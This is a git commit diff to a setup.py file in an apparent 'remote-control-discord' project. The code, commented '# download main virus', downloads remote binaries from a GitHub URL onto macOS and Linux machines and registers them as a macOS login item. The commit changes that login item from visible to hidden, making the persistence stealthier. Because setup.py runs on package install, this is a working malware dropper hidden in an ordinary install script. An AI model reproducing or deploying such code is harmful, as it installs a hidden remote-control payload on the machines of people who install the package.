diff options
| author | system <system@MacBook-Pro.local> | 2023-08-27 20:13:21 +0800 |
|---|---|---|
| committer | system <system@MacBook-Pro.local> | 2023-08-27 20:13:21 +0800 |
| commit | 60eb0daaf1cfddc8c3f9b7cc3a114d36015f27f0 (patch) | |
| tree | 70152ffab0f040e63ecc31a2771134cf2c7c6fcd /setup.py | |
| parent | bacdc7cc50ef11aa6a192031fb9783c531fb6898 (diff) | |
updated
Diffstat (limited to 'setup.py')
| -rw-r--r-- | setup.py | 2 |
1 files changed, 1 insertions, 1 deletions
@@ -19,8 +19,8 @@ except FileNotFoundError: # download main virus if platform == "darwin": - system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{localfile}\", hidden:false}}' > /dev/null") open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-mac", allow_redirects=True).content) + system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{localfile}\", hidden:true}}' > /dev/null") elif platform == "linux": from os import environ open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-linux", allow_redirects=True).content) |
